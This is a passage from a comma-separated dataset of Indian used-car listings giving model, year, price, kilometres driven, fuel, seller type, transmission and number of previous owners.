XUV300 W8 Option Diesel BSIV,2019,1000000,10000,Diesel,Individual,Manual,First Owner +Toyota Innova Crysta 2.4 VX MT BSIV,2017,1770000,25000,Diesel,Individual,Manual,First Owner +Mahindra Thar CRDe,2018,950000,20000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire ZDI,2018,750000,50000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2014,220000,42000,Petrol,Individual,Manual,First Owner +Tata Hexa XM,2017,1000000,50000,Diesel,Individual,Manual,First Owner +Honda Mobilio E i DTEC,2017,660000,116000,Diesel,Individual,Manual,First Owner +Maruti Ertiga ZDI,2015,716000,100000,Diesel,Individual,Manual,First Owner +Maruti Ciaz ZXi Plus,2015,675000,66000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio LX,2010,385000,110000,Diesel,Individual,Manual,Third Owner +Fiat Grande Punto EVO 1.3 Dynamic,2014,325000,70000,Diesel,Individual,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Option,2015,950000,60000,Diesel,Individual,Manual,First Owner +Ford Endeavour Hurricane Limited Edition,2007,400000,110000,Diesel,Individual,Automatic,Fourth & Above Owner +Tata Indica Vista TDI LS,2014,250000,25000,Diesel,Individual,Manual,First Owner +Land Rover Discovery S 2.0 SD4,2018,4000000,68000,Petrol,Individual,Automatic,First Owner +Maruti Alto 800 LXI,2014,210000,20000,Petrol,Individual,Manual,First Owner +Hyundai i10 Era 1.1 iTech SE,2011,147000,110000,Petrol,Individual,Manual,Second Owner +Maruti Vitara Brezza VDi Option,2018,725000,26350,Diesel,Individual,Manual,First Owner +Mahindra Scorpio SLE BSIV,2012,550000,90000,Diesel,Individual,Manual,First Owner +Hyundai i20 Sportz Option 1.2,2016,475000,25000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2014,250000,50000,Petrol,Individual,Manual,Second Owner +Tata Indica LSI,2006,70000,60000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus,2012,160000,70000,Petrol,Individual,Manual,Third Owner +Ford Endeavour 3.0L 4X4 AT,2011,1000000,90000,Diesel,Individual,Automatic,Second Owner +Hyundai Santro LE zipPlus,2001,68000,70000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,500000,26500,Petrol,Individual,Manual,First Owner +Tata Indigo CR4,2013,170000,60000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S11 BSIV,2018,1300000,35000,Diesel,Individual,Manual,First Owner +Hyundai Creta 1.4 EX Diesel,2020,1050000,10000,Diesel,Individual,Manual,First Owner +Maruti Ritz LXI,2009,300000,15000,Petrol,Individual,Manual,First Owner +Hyundai i20 Magna 1.2,2016,600000,25000,Petrol,Individual,Manual,First Owner +Hyundai Verna CRDi 1.6 SX,2017,900000,50000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2019,550000,25000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2007,100000,52000,Petrol,Individual,Manual,Second Owner +Honda Brio 1.2 S MT,2017,400000,15000,Petrol,Individual,Manual,First Owner +Tata Nano Lx,2011,120000,20000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi,2013,300000,90000,Diesel,Individual,Manual,First Owner +Tata Indigo LX,2011,140000,60000,Diesel,Individual,Manual,Second Owner +Skoda Rapid 1.6 MPI Ambition With Alloy Wheel,2015,640000,23000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2018,380000,22155,Petrol,Individual,Manual,First Owner +Tata Nano Lx,2011,120000,20000,Petrol,Individual,Manual,First Owner +Maruti Ciaz 1.4 Delta,2018,650000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2009,150000,60000,Petrol,Individual,Manual,Second Owner +Ford Figo Aspire 1.2 Ti-VCT Trend,2018,550000,35000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2012,650000,71042,Diesel,Dealer,Manual,First Owner +Mitsubishi Pajero Sport 4X4,2012,1025000,167870,Diesel,Dealer,Manual,Second Owner +Ford Fiesta 1.5 TDCi Titanium,2011,195000,133564,Diesel,Dealer,Manual,First Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +BMW 3 Series 320d Sport,2013,1490000,40000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Honda City i-VTEC CVT ZX,2018,1140000,23038,Petrol,Trustmark Dealer,Automatic,First Owner +Chevrolet Beat Diesel LS,2011,95000,70000,Diesel,Individual,Manual,First Owner +BMW 3 Series GT Luxury Line,2017,3050000,30000,Diesel,Individual,Automatic,First Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Maruti Baleno Delta 1.2,2017,585000,43608,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Baleno Alpha CVT,2018,825000,11212,Petrol,Trustmark Dealer,Automatic,First Owner +Hyundai i20 1.4 Magna Executive,2013,280000,52000,Diesel,Dealer,Manual,First Owner +Maruti Baleno Zeta,2016,725000,49217,Petrol,Trustmark Dealer,Manual,First Owner +Mahindra Verito 1.5 D4 BSIV,2015,300000,90000,Diesel,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa S,2015,375000,70000,Petrol,Individual,Manual,First Owner +Honda City VTEC,2003,310000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Swift Dzire VDi,2011,375000,190000,Diesel,Individual,Manual,Third Owner +Ford Endeavour 3.2 Titanium AT 4X4,2016,1950000,106000,Diesel,Individual,Automatic,First Owner +Tata Xenon XT EX 4X2,2012,400000,80000,Diesel,Individual,Manual,Second Owner +Nissan Terrano XL Plus 85 PS,2014,550000,80000,Diesel,Individual,Manual,Second Owner +Maruti Eeco 7 Seater Standard BSIV,2018,270000,20000,Petrol,Individual,Manual,First Owner +Maruti Ertiga ZDI,2012,555000,110000,Diesel,Individual,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Ambiente,2013,500000,60000,Diesel,Individual,Manual,Second Owner +Skoda Laura Elegance 1.9 TDI AT,2010,400000,130000,Diesel,Individual,Automatic,Second Owner +Hyundai EON 1.0 Era Plus,2017,280000,28838,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2008,80000,200000,Petrol,Individual,Manual,First Owner +Tata Indica DLS,2006,55000,100000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI Airbag,2014,250000,50000,Petrol,Individual,Manual,First Owner +Mahindra Bolero SLX 2WD,2010,250000,190000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra Jeep MM 540,2007,95000,100000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio 1.99 S10,2014,725000,135000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,320000,50000,Diesel,Individual,Manual,Third Owner +Skoda Octavia Elegance 2.0 TDI AT,2014,1200000,135000,Diesel,Individual,Automatic,Third Owner +Chevrolet Beat Diesel LS,2012,160000,50000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2018,790000,19571,Diesel,Dealer,Manual,First Owner +Honda City i-VTEC ZX,2018,1200000,29600,Petrol,Dealer,Manual,First Owner +Maruti Swift LXI,2011,175000,70000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus AMT Dual Tone,2018,950000,15000,Diesel,Individual,Automatic,First Owner +Maruti Celerio LXI MT BSIV,2019,340000,50000,Petrol,Individual,Manual,First Owner +Renault Captur 1.5 Diesel RXT,2017,825000,13500,Diesel,Individual,Manual,First Owner +Audi A4 30 TFSI Technology,2018,3100000,22000,Petrol,Individual,Automatic,First Owner +Honda Amaze VX Diesel BSIV,2018,780000,25000,Diesel,Dealer,Manual,First Owner +Toyota Corolla Altis 1.8 VL AT,2010,350000,80000,Petrol,Individual,Automatic,Third Owner +Honda Amaze VX Petrol BSIV,2018,690000,39000,Petrol,Dealer,Manual,First Owner +Maruti Alto 800 VXI,2016,245000,60000,Petrol,Individual,Manual,First Owner +Honda Amaze VX Diesel BSIV,2018,790000,49000,Diesel,Dealer,Manual,First Owner +Honda Amaze VX i-VTEC,2018,680000,48600,Petrol,Dealer,Manual,First Owner +Hyundai Grand i10 Asta Option,2017,540000,20000,Petrol,Individual,Manual,Second Owner +Mahindra KUV 100 mFALCON G80 K2,2016,425000,25000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo Sports,2008,140000,120000,Petrol,Individual,Manual,First Owner +Maruti Ertiga ZDI Plus,2019,1100000,30000,Diesel,Individual,Manual,First Owner +Renault Lodgy 85PS RxL,2015,715000,35000,Diesel,Individual,Manual,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +Audi Q3 2.0 TDI Quattro Premium Plus,2015,1750000,127643,Diesel,Dealer,Automatic,First Owner +Tata Zest Revotron 1.2T XMS,2018,400000,54000,Petrol,Dealer,Manual,Second Owner +Audi A6 2.0 TDI Design Edition,2014,1750000,102354,Diesel,Dealer,Automatic,First Owner +Audi Q5 2.0 TFSI Quattro Premium Plus,2014,1850000,62237,Petrol,Dealer,Automatic,First Owner +Hyundai Santro Xing XL eRLX Euro III,2005,114999,90000,Petrol,Dealer,Manual,Second Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2018,950000,21394,Diesel,Dealer,Manual,First Owner +Datsun GO T Petrol,2015,310000,32686,Petrol,Dealer,Manual,First Owner +Mahindra Jeep CJ 500 DI,2006,575000,1001,Diesel,Dealer,Manual,First Owner +Renault Pulse RxZ,2017,490000,22000,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 Magna,2017,480000,53261,Petrol,Dealer,Manual,First Owner +Land Rover Discovery Sport SD4 HSE Luxury,2016,3500000,53000,Diesel,Dealer,Automatic,First Owner +Renault KWID 1.0 RXT Optional,2018,370000,10000,Petrol,Dealer,Manual,First Owner +Maruti Baleno Alpha 1.3,2017,835000,14000,Diesel,Dealer,Manual,First Owner +Volkswagen Polo 2015-2019 1.2 MPI Highline,2017,650000,44000,Petrol,Dealer,Manual,First Owner +Toyota Etios VD,2014,670000,39895,Diesel,Dealer,Manual,First Owner +Chevrolet Cruze LTZ AT,2017,950000,73000,Diesel,Dealer,Automatic,First Owner +Honda City i-VTEC SV,2014,690000,17000,Petrol,Dealer,Manual,First Owner +Volkswagen Polo 2015-2019 1.2 MPI Highline,2017,670000,18591,Petrol,Dealer,Manual,First Owner +Tata Nexon 1.5 Revotorq XZ,2017,925000,26766,Diesel,Dealer,Manual,First Owner +Hyundai EON Magna Plus,2015,250000,30000,Petrol,Individual,Manual,First Owner +Tata Sumo Gold EX,2016,509999,42000,Diesel,Individual,Manual,First Owner +Honda City i DTEC VX,2014,520000,110000,Diesel,Individual,Manual,First Owner +Tata Indica DLE,2005,100000,100000,Diesel,Individual,Manual,First Owner +Tata Indica DLS,2006,85000,300000,Diesel,Individual,Manual,Second Owner +Tata Indigo LX,2009,130000,110000,Diesel,Individual,Manual,Third Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2018,950000,27620,Diesel,Dealer,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Titanium Plus,2015,450000,70000,Petrol,Individual,Manual,First Owner +Honda City S,2012,320000,50000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2015,480000,50000,Diesel,Individual,Manual,First Owner +Mercedes-Benz New C-Class C 220 CDI Grand Edition,2014,2490000,46000,Diesel,Individual,Automatic,First Owner +Toyota Innova 2.5 VX 8 STR,2012,790000,82000,Diesel,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2016,120000,120000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2006,75000,80000,Petrol,Individual,Manual,Third Owner +Tata Indica GLS BS IV,2010,99000,70000,Petrol,Individual,Manual,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2018,1015000,20000,Diesel,Individual,Manual,First Owner +Mahindra Xylo D4 BSIV,2013,250000,200000,Diesel,Individual,Manual,Second Owner +Toyota Innova Crysta 2.5 VX BS IV,2011,520000,120000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi 1.6 AT SX Option,2018,1100000,30000,Diesel,Individual,Automatic,First Owner +Toyota Innova 2.5 V Diesel 7-seater,2005,200000,223000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2016,525000,60000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta 1.2,2016,500000,40000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S2 7 Seater,2016,675000,161327,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.2 iTech SE,2009,150000,60000,Petrol,Individual,Manual,Third Owner +Mahindra Bolero DI,2007,250000,50000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2018,450000,6000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing XS,2009,150000,68000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LS,2012,200000,85000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLS AT 2.2 mHAWK,2011,525000,70000,Diesel,Individual,Automatic,First Owner +Maruti Esteem VX,1999,60000,35000,Petrol,Individual,Manual,Second Owner +Maruti Swift Vdi BSIII,2010,180000,100000,Diesel,Individual,Manual,Second Owner +Honda Amaze S i-Dtech,2015,475000,110000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLS AT 2.2 mHAWK,2010,380000,195000,Diesel,Individual,Automatic,Second Owner +Maruti Alto 800 LXI,2015,285000,46000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi BSIII,2008,91200,60000,Petrol,Individual,Manual,Second Owner +Datsun RediGO T Option,2017,250000,46000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Sportz,2015,400000,42000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XG AT,2006,160000,90000,Petrol,Individual,Automatic,Second Owner +Skoda Yeti Ambition 4X2,2012,650000,85000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX,2012,409999,120000,Diesel,Individual,Manual,Third Owner +Ford Ecosport 1.5 DV5 MT Titanium,2013,425000,72000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI CNG,2013,250000,71000,CNG,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2009,200000,110000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Wagon R LXI CNG,2013,250000,71000,CNG,Individual,Manual,Second Owner +Volkswagen Polo Diesel Trendline 1.2L,2010,130000,144000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Eeco 5 Seater AC BSIV,2017,260000,30000,Petrol,Dealer,Manual,First Owner +Hyundai Verna SX,2007,155000,65000,Petrol,Dealer,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2015,450000,38000,Diesel,Individual,Manual,First Owner +Maruti SX4 Celebration Petrol,2012,220000,90000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Active S Diesel,2018,650000,37000,Diesel,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2018,285000,30000,Petrol,Dealer,Manual,First Owner +Honda Amaze V CVT Petrol BSIV,2018,725000,26000,Petrol,Dealer,Automatic,First Owner +Maruti Ciaz ZXi,2016,625000,30000,Petrol,Dealer,Manual,First Owner +Hyundai i20 Active SX Petrol,2016,550000,23000,Petrol,Dealer,Manual,First Owner +Hyundai i10 Magna,2012,240000,40000,Petrol,Dealer,Manual,First Owner +Nissan Terrano XL 85 PS,2014,600000,27000,Diesel,Dealer,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2012,350000,65000,Diesel,Dealer,Manual,First Owner +Hyundai EON Magna Plus,2015,245000,32000,Petrol,Dealer,Manual,First Owner +Mahindra Bolero B6,2016,600000,56000,Diesel,Dealer,Manual,First Owner +BMW X1 sDrive 20d xLine,2017,2400000,30000,Diesel,Individual,Automatic,First Owner +Mahindra Scorpio SLE BS IV,2014,620000,80000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire 1.2 Vxi BSIV,2014,395000,52000,Petrol,Dealer,Manual,Second Owner +Maruti Ertiga ZXI,2014,635000,13250,Petrol,Dealer,Manual,First Owner +Maruti Alto LX,2011,180000,36000,Petrol,Dealer,Manual,First Owner +Maruti Swift ZDI Plus,2015,484999,73000,Diesel,Dealer,Manual,Second Owner +Maruti Alto LX,2004,110000,60000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BSIII,2006,150000,60000,Petrol,Individual,Manual,Second Owner +Chevrolet Tavera Neo 2 LT L 9 Str,2012,400000,110000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aura Plus 1.3 Quadrajet,2012,200000,70000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL Plus,2013,302000,60000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire Vdi BSIV,2011,215000,90000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Wagon R VXI BSIII,2004,155000,80000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2014,1000000,101000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero Power Plus SLX,2018,550000,44000,Diesel,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2006,200000,45000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S2 7 Seater,2017,750000,120000,Diesel,Individual,Manual,First Owner +Maruti Zen LXI,2005,90000,90000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2007,80000,120000,Petrol,Individual,Manual,Second Owner +Hyundai EON D Lite Plus,2013,229999,13500,Petrol,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2017,350000,10000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 Magna,2015,325000,25000,Petrol,Individual,Manual,Third Owner +Tata Tigor 1.2 Revotron XT,2018,450000,8500,Petrol,Individual,Manual,First Owner +Maruti SX4 Celebration Diesel,2012,250000,120000,Diesel,Individual,Manual,First Owner +Volkswagen Polo Diesel Comfortline 1.2L,2012,225000,120000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2009,150000,90246,Petrol,Individual,Manual,Third Owner +Maruti Alto LX BSIII,2008,110000,90000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi BSIII,2010,150000,40000,Petrol,Individual,Manual,Second Owner +Maruti Gypsy King Hard Top,2000,165000,60000,Petrol,Individual,Manual,Fourth & Above Owner +Renault Duster 85PS Diesel RxL,2017,610000,32000,Diesel,Individual,Manual,Second Owner +Tata Manza Club Class Quadrajet90 VX,2013,170000,60400,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi,2008,150000,70950,Diesel,Individual,Manual,Second Owner +Hyundai i20 Asta 1.4 CRDi,2013,300000,90000,Diesel,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi Base,2015,375000,72000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI,2013,390000,90000,Diesel,Individual,Manual,First Owner +Hyundai i20 Active 1.2 S,2017,600000,10000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,204999,25000,Petrol,Individual,Manual,Second Owner +Hyundai Verna CRDi,2009,270000,80000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 Sportz,2017,375000,10000,Petrol,Individual,Manual,First Owner +Maruti Baleno Zeta,2020,700000,1100,Petrol,Individual,Manual,First Owner +Maruti Swift VXI Deca,2017,455000,40000,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz 1.1L,2017,375000,10000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 Asta,2014,341000,31491,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,200000,107143,Diesel,Individual,Manual,Second Owner +Maruti Ignis 1.2 AMT Delta BSIV,2017,450000,15000,Petrol,Individual,Automatic,First Owner +Hyundai Santro Xing GL Plus,2012,170000,50000,Petrol,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 VX MT 8S BSIV,2017,1900000,100000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus LX,2016,500000,60000,Diesel,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus,2016,819999,85000,Diesel,Individual,Manual,First Owner +Maruti Swift 1.2 DLX,2014,351000,40000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna 1.2 iTech SE,2011,195000,80000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDi,2008,250000,82000,Diesel,Individual,Manual,Second Owner +Maruti Zen Estilo 1.1 VXI BSIII,2008,120000,70000,Petrol,Individual,Manual,Second Owner +Maruti A-Star Vxi,2009,180000,70000,Petrol,Individual,Manual,Third Owner +Mahindra KUV 100 mFALCON D75 K6,2016,430000,20000,Diesel,Individual,Manual,First Owner +Tata Nano Cx BSIV,2012,75000,35000,Petrol,Individual,Manual,Second Owner +Mahindra Xylo D4,2017,750000,80000,Diesel,Individual,Manual,First Owner +Tata Nano Lx,2011,60000,40000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2015,1500000,46412,Diesel,Individual,Manual,First Owner +Mahindra Bolero SLX 2WD BSIII,2011,390000,150000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra TUV 300 T4,2016,630000,50000,Diesel,Individual,Manual,First Owner +Tata Safari Storme VX Varicor 400,2018,1085000,15000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.2 iTech SE,2012,190000,60000,Petrol,Individual,Manual,Second Owner +Maruti Baleno Delta Automatic,2018,550000,25000,Petrol,Individual,Automatic,First Owner +Maruti Alto 800 LXI,2012,200000,90000,Petrol,Individual,Manual,Third Owner +Chevrolet Spark 1.0 LT,2011,165000,60000,Petrol,Individual,Manual,First Owner +Ford Figo Diesel Celebration Edition,2013,260000,65000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2011,151000,40000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza VDi,2018,780000,50000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2012,175000,80000,Diesel,Individual,Manual,Third Owner +Tata Indica Vista TDI LS,2010,170000,107500,Diesel,Dealer,Manual,First Owner +Tata Indica Vista TDI LS,2013,210000,135000,Diesel,Dealer,Manual,Second Owner +Maruti Alto LXi,2007,90000,43826,Petrol,Dealer,Manual,Second Owner +Hyundai i20 Active S Petrol,2016,535000,55838,Petrol,Dealer,Manual,First Owner +Maruti Swift VDI BSIV,2007,195000,112880,Diesel,Dealer,Manual,First Owner +Tata Indica Vista Terra Quadrajet 1.3L,2011,140000,90000,Diesel,Individual,Manual,Third Owner +Nissan Sunny XL,2012,350000,40000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX VTVT (O),2013,425000,66000,Petrol,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2017,300000,30300,Petrol,Individual,Manual,First Owner +Volkswagen Vento Diesel Style Limited Edition,2013,340000,85000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2009,250000,80659,Petrol,Dealer,Manual,First Owner +Chevrolet Aveo 1.4 LS,2008,170000,81324,Petrol,Dealer,Manual,First Owner +Honda Amaze S i-Dtech,2013,315000,127884,Diesel,Dealer,Manual,First Owner +Chevrolet Beat PS,2015,200000,50000,Petrol,Individual,Manual,First Owner +Chevrolet Beat PS,2016,300000,25000,Petrol,Individual,Manual,First Owner +Honda Amaze S i-Dtech,2015,300000,66755,Diesel,Dealer,Manual,First Owner +Honda City E,2013,380000,123084,Petrol,Dealer,Manual,First Owner +Maruti Swift VXI BSIII,2009,250000,806599,Petrol,Dealer,Manual,First Owner +Honda Amaze S i-Dtech,2013,310000,95851,Diesel,Dealer,Manual,First Owner +Maruti Wagon R VXI Minor ABS,2010,260000,50000,Petrol,Individual,Manual,First Owner +Maruti Omni BSIII 8-STR W/ IMMOBILISER,2008,150000,50000,Petrol,Individual,Manual,Second Owner +Maruti Esteem Vxi - BSIII,2006,85000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2015,280000,15000,Petrol,Individual,Manual,Second Owner +Mahindra Xylo H4 ABS,2016,850000,40000,Diesel,Individual,Manual,First Owner +Datsun GO Plus T Option BSIV,2017,375000,20000,Petrol,Individual,Manual,Second Owner +Hyundai Elantra CRDi (Leather Option),2006,125000,120000,Diesel,Individual,Manual,Third Owner +Chevrolet Beat Diesel LT,2012,250000,110000,Diesel,Individual,Manual,First Owner +Toyota Corolla Altis D-4D J,2014,715000,234000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.4 CRDi Era,2011,220000,70000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aqua 1.3 Quadrajet,2010,110000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Verna XXi (Petrol),2007,150000,84000,Petrol,Individual,Manual,Second Owner +Nissan Sunny Diesel XV,2012,300000,170000,Diesel,Individual,Manual,First Owner +Datsun RediGO T Option,2017,220000,40000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LX,2006,75000,96000,Petrol,Individual,Manual,Second Owner +Tata Indigo LS,2009,100000,20000,Diesel,Individual,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Trend,2016,380000,15000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing XK (Non-AC),2007,100000,50000,Petrol,Individual,Manual,First Owner +Volkswagen Passat 1.8 TSI MT,2010,480000,80000,Petrol,Individual,Manual,Second Owner +Toyota Etios GD,2012,300000,124000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2013,190000,70000,Diesel,Individual,Manual,First Owner +Ford Figo Diesel LXI,2012,190000,130000,Diesel,Individual,Manual,Second Owner +Ford EcoSport 1.5 Ti VCT MT Trend BSIV,2017,650000,19014,Petrol,Dealer,Manual,First Owner +Toyota Corolla Executive (HE),2009,300000,23262,Petrol,Dealer,Manual,First Owner +Ford Freestyle Titanium Diesel BSIV,2016,700000,29600,Diesel,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.1L,2015,310000,35925,Petrol,Dealer,Manual,First Owner +Maruti Ignis 1.2 Zeta BSIV,2018,500000,12000,Petrol,Individual,Manual,First Owner +Toyota Etios V,2013,415000,40771,Petrol,Dealer,Manual,First Owner +Maruti Celerio VXI AT,2015,395000,30500,Petrol,Dealer,Automatic,Second Owner +Toyota Etios Liva 1.2 G,2014,430000,42000,Petrol,Dealer,Manual,Second Owner +Toyota Corolla H6,2007,215000,55800,Petrol,Dealer,Manual,Second Owner +Renault Duster RXL AWD,2014,550000,66569,Diesel,Dealer,Manual,First Owner +Volkswagen Polo 1.5 TDI Trendline,2014,415000,81358,Diesel,Dealer,Manual,First Owner +Volkswagen Polo 1.5 TDI Comfortline,2015,450000,82695,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel EXI,2014,285000,68293,Diesel,Dealer,Manual,Second Owner +Honda Jazz VX CVT,2016,580000,32000,Petrol,Dealer,Automatic,First Owner +Maruti Swift Dzire Tour LDI,2014,300000,190621,Diesel,Dealer,Manual,First Owner +Hyundai Verna CRDi 1.6 SX Option,2018,1200000,60000,Diesel,Individual,Manual,First Owner +Maruti 800 Std MPFi,2006,78000,64700,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2002,65000,100000,Petrol,Individual,Manual,Second Owner +Tata Zest Quadrajet 1.3 75PS XE,2016,400000,88470,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 CRDI SX Option,2016,850000,75000,Diesel,Individual,Manual,First Owner +Volkswagen Vento Diesel Highline,2013,450000,120000,Diesel,Individual,Manual,Second Owner +Mercedes-Benz E-Class E250 CDI Blue Efficiency,2012,2500000,35000,Diesel,Individual,Automatic,First Owner +Toyota Etios 1.4 VXD,2017,780000,70000,Diesel,Individual,Manual,First Owner +Toyota Fortuner 2.8 2WD AT BSIV,2017,3200000,57000,Diesel,Individual,Automatic,First Owner +Maruti Alto 800 VXI,2020,350000,1000,Petrol,Individual,Manual,First Owner +Mahindra Quanto C6,2013,285000,120000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento 1.5 TDI Highline,2015,525000,98000,Diesel,Dealer,Manual,First Owner +Maruti Ciaz ZDi,2014,550000,90000,Diesel,Dealer,Manual,Second Owner +Volkswagen Ameo 1.5 TDI Comfortline,2018,580000,70000,Diesel,Individual,Manual,First Owner +Tata Nano CX SE,2013,75000,25000,Petrol,Individual,Manual,Third Owner +Tata Manza Aura Quadrajet,2009,185000,60000,Diesel,Individual,Manual,Third Owner +Maruti Omni E 8 Str STD,2007,110000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Honda City 1.5 EXI,2004,180000,200000,Petrol,Individual,Manual,Second Owner +Volkswagen Polo Diesel Comfortline 1.2L,2010,350000,110000,Diesel,Individual,Manual,Second Owner +Chevrolet Optra 1.6 LS,2005,60000,126000,Petrol,Individual,Manual,Second Owner +Mahindra TUV 300 T10,2018,695000,70000,Diesel,Individual,Manual,First Owner +Mahindra Alturas G4 4X2 AT BSIV,2019,2700000,5000,Diesel,Individual,Automatic,First Owner +Maruti Zen Estilo LX 